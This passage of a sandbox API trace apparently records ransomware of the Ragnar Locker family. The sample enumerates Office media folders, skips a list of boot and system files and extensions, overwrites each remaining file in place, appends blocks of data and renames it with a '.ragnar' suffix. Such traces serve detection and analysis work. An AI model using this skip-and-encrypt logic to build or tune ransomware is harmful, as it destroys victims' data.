dwReserved1=0x0, cFileName="BD18249_.WMF", cAlternateFileName="")) returned 1 [0096.468] lstrcmpiW (lpString1="BD18249_.WMF", lpString2=".") returned 1 [0096.468] lstrcmpiW (lpString1="BD18249_.WMF", lpString2="..") returned 1 [0096.468] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf17ef00, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf17ef00, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0x142e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18250_.WMF", cAlternateFileName="")) returned 1 [0096.468] lstrcmpiW (lpString1="BD18250_.WMF", lpString2=".") returned 1 [0096.468] lstrcmpiW (lpString1="BD18250_.WMF", lpString2="..") returned 1 [0096.468] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefc86500, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xefc86500, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0x90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18251_.WMF", cAlternateFileName="")) returned 1 [0096.468] lstrcmpiW (lpString1="BD18251_.WMF", lpString2=".") returned 1 [0096.468] lstrcmpiW (lpString1="BD18251_.WMF", lpString2="..") returned 1 [0096.468] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8ec2300, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe8ec2300, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x756, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18252_.WMF", cAlternateFileName="")) returned 1 [0096.468] lstrcmpiW (lpString1="BD18252_.WMF", lpString2=".") returned 1 [0096.468] lstrcmpiW (lpString1="BD18252_.WMF", lpString2="..") returned 1 [0096.468] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb803b00, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb803b00, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0x6ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18253_.WMF", cAlternateFileName="")) returned 1 [0096.468] lstrcmpiW (lpString1="BD18253_.WMF", lpString2=".") returned 1 [0096.468] lstrcmpiW (lpString1="BD18253_.WMF", lpString2="..") returned 1 [0096.468] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bca4100, ftCreationTime.dwHighDateTime=0x1bddcab, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1bca4100, ftLastWriteTime.dwHighDateTime=0x1bddcab, nFileSizeHigh=0x0, nFileSizeLow=0x796, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18254_.WMF", cAlternateFileName="")) returned 1 [0096.468] lstrcmpiW (lpString1="BD18254_.WMF", lpString2=".") returned 1 [0096.468] lstrcmpiW (lpString1="BD18254_.WMF", lpString2="..") returned 1 [0096.468] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55feb900, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x55feb900, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x822, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18255_.WMF", cAlternateFileName="")) returned 1 [0096.468] lstrcmpiW (lpString1="BD18255_.WMF", lpString2=".") returned 1 [0096.468] lstrcmpiW (lpString1="BD18255_.WMF", lpString2="..") returned 1 [0096.468] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7a21700, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd7a21700, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x8ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18256_.WMF", cAlternateFileName="")) returned 1 [0096.468] lstrcmpiW (lpString1="BD18256_.WMF", lpString2=".") returned 1 [0096.468] lstrcmpiW (lpString1="BD18256_.WMF", lpString2="..") returned 1 [0096.469] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd83b2900, ftCreationTime.dwHighDateTime=0x1bdfe4b, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd83b2900, ftLastWriteTime.dwHighDateTime=0x1bdfe4b, nFileSizeHigh=0x0, nFileSizeLow=0x12ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18257_.WMF", cAlternateFileName="")) returned 1 [0096.469] lstrcmpiW (lpString1="BD18257_.WMF", lpString2=".") returned 1 [0096.469] lstrcmpiW (lpString1="BD18257_.WMF", lpString2="..") returned 1 [0096.469] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bbbf3e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8bbbf3e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0096.469] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0096.469] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0096.469] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bbbf3e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8bbbf3e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0096.469] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0096.469] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8bbbf3e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8bbbf3e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0096.469] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8bbbf3e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8bbbf3e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.469] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3475600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3475600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTOSHAP.DLL", cAlternateFileName="")) returned 1 [0096.469] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.469] lstrcpyW (in: lpString1=0x1eab64, lpString2="AUTOSHAP.DLL" | out: lpString1="AUTOSHAP.DLL") returned="AUTOSHAP.DLL" [0096.469] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned=".DLL" [0096.469] lstrcmpiW (lpString1="AUTOSHAP.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.469] lstrcmpiW (lpString1="AUTOSHAP.DLL", lpString2="autorun.inf") returned 1 [0096.469] lstrcmpiW (lpString1="AUTOSHAP.DLL", lpString2="boot.ini") returned -1 [0096.469] lstrcmpiW (lpString1="AUTOSHAP.DLL", lpString2="bootfont.bin") returned -1 [0096.469] lstrcmpiW (lpString1="AUTOSHAP.DLL", lpString2="bootsect.bak") returned -1 [0096.469] lstrcmpiW (lpString1="AUTOSHAP.DLL", lpString2="bootmgr") returned -1 [0096.469] lstrcmpiW (lpString1="AUTOSHAP.DLL", lpString2="bootmgr.efi") returned -1 [0096.469] lstrcmpiW (lpString1="AUTOSHAP.DLL", lpString2="bootmgfw.efi") returned -1 [0096.469] lstrcmpiW (lpString1="AUTOSHAP.DLL", lpString2="desktop.ini") returned -1 [0096.469] lstrcmpiW (lpString1="AUTOSHAP.DLL", lpString2="iconcache.db") returned -1 [0096.469] lstrcmpiW (lpString1="AUTOSHAP.DLL", lpString2="ntldr") returned -1 [0096.469] lstrcmpiW (lpString1="AUTOSHAP.DLL", lpString2="ntuser.dat") returned -1 [0096.469] lstrcmpiW (lpString1="AUTOSHAP.DLL", lpString2="ntuser.dat.log") returned -1 [0096.469] lstrcmpiW (lpString1="AUTOSHAP.DLL", lpString2="ntuser.ini") returned -1 [0096.469] lstrcmpiW (lpString1="AUTOSHAP.DLL", lpString2="thumbs.db") returned -1 [0096.469] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0096.469] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0096.470] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0096.470] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6154e300, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbcb414e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6154e300, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0x926, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18180_.WMF", cAlternateFileName="")) returned 1 [0096.470] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.470] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18180_.WMF" | out: lpString1="BD18180_.WMF") returned="BD18180_.WMF" [0096.470] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18180_.WMF") returned=".WMF" [0096.470] lstrcmpiW (lpString1="BD18180_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.470] lstrcmpiW (lpString1="BD18180_.WMF", lpString2="autorun.inf") returned 1 [0096.470] lstrcmpiW (lpString1="BD18180_.WMF", lpString2="boot.ini") returned -1 [0096.470] lstrcmpiW (lpString1="BD18180_.WMF", lpString2="bootfont.bin") returned -1 [0096.470] lstrcmpiW (lpString1="BD18180_.WMF", lpString2="bootsect.bak") returned -1 [0096.470] lstrcmpiW (lpString1="BD18180_.WMF", lpString2="bootmgr") returned -1 [0096.470] lstrcmpiW (lpString1="BD18180_.WMF", lpString2="bootmgr.efi") returned -1 [0096.470] lstrcmpiW (lpString1="BD18180_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.470] lstrcmpiW (lpString1="BD18180_.WMF", lpString2="desktop.ini") returned -1 [0096.470] lstrcmpiW (lpString1="BD18180_.WMF", lpString2="iconcache.db") returned -1 [0096.470] lstrcmpiW (lpString1="BD18180_.WMF", lpString2="ntldr") returned -1 [0096.470] lstrcmpiW (lpString1="BD18180_.WMF", lpString2="ntuser.dat") returned -1 [0096.470] lstrcmpiW (lpString1="BD18180_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.470] lstrcmpiW (lpString1="BD18180_.WMF", lpString2="ntuser.ini") returned -1 [0096.470] lstrcmpiW (lpString1="BD18180_.WMF", lpString2="thumbs.db") returned -1 [0096.470] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.470] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.470] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.470] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.470] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.470] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.470] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18180_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18180_.wmf")) returned 0x20 [0096.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18180_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18180_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.471] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=2342) returned 1 [0096.471] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x91d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.471] GetProcessHeap () returned 0x580000 [0096.471] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.472] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.473] VirtualAlloc (lpAddress=0x0, dwSize=0x926, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.473] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.473] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.473] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x926, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x926, lpOverlapped=0x0) returned 1 [0096.473] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.473] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x926, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.473] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x926, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x926, lpOverlapped=0x0) returned 1 [0096.473] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x926, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.473] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.474] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x926, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.474] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.474] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.474] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.474] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.474] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.474] GetProcessHeap () returned 0x580000 [0096.474] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.474] CloseHandle (hObject=0xf4) returned 1 [0096.474] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18180_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18180_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18180_.WMF" [0096.474] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18180_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18180_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18180_.WMF.ragnar_FD7BD9FC" [0096.474] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18180_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18180_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18180_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18180_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.475] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe4e1600, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe4e1600, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18181_.WMF", cAlternateFileName="")) returned 1 [0096.475] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.475] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18181_.WMF" | out: lpString1="BD18181_.WMF") returned="BD18181_.WMF" [0096.475] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18181_.WMF") returned=".WMF" [0096.475] lstrcmpiW (lpString1="BD18181_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.475] lstrcmpiW (lpString1="BD18181_.WMF", lpString2="autorun.inf") returned 1 [0096.475] lstrcmpiW (lpString1="BD18181_.WMF", lpString2="boot.ini") returned -1 [0096.475] lstrcmpiW (lpString1="BD18181_.WMF", lpString2="bootfont.bin") returned -1 [0096.475] lstrcmpiW (lpString1="BD18181_.WMF", lpString2="bootsect.bak") returned -1 [0096.475] lstrcmpiW (lpString1="BD18181_.WMF", lpString2="bootmgr") returned -1 [0096.475] lstrcmpiW (lpString1="BD18181_.WMF", lpString2="bootmgr.efi") returned -1 [0096.475] lstrcmpiW (lpString1="BD18181_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.475] lstrcmpiW (lpString1="BD18181_.WMF", lpString2="desktop.ini") returned -1 [0096.475] lstrcmpiW (lpString1="BD18181_.WMF", lpString2="iconcache.db") returned -1 [0096.475] lstrcmpiW (lpString1="BD18181_.WMF", lpString2="ntldr") returned -1 [0096.475] lstrcmpiW (lpString1="BD18181_.WMF", lpString2="ntuser.dat") returned -1 [0096.475] lstrcmpiW (lpString1="BD18181_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.475] lstrcmpiW (lpString1="BD18181_.WMF", lpString2="ntuser.ini") returned -1 [0096.475] lstrcmpiW (lpString1="BD18181_.WMF", lpString2="thumbs.db") returned -1 [0096.475] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.475] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.475] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.475] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.476] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.476] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.476] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18181_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18181_.wmf")) returned 0x20 [0096.476] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18181_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18181_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.477] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=2862) returned 1 [0096.477] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb25, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.477] GetProcessHeap () returned 0x580000 [0096.477] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.477] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.478] VirtualAlloc (lpAddress=0x0, dwSize=0xb2e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.478] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.479] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.479] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb2e, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xb2e, lpOverlapped=0x0) returned 1 [0096.479] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.479] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb2e, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.479] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb2e, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xb2e, lpOverlapped=0x0) returned 1 [0096.479] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb2e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.479] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.479] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb2e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.479] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.479] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, 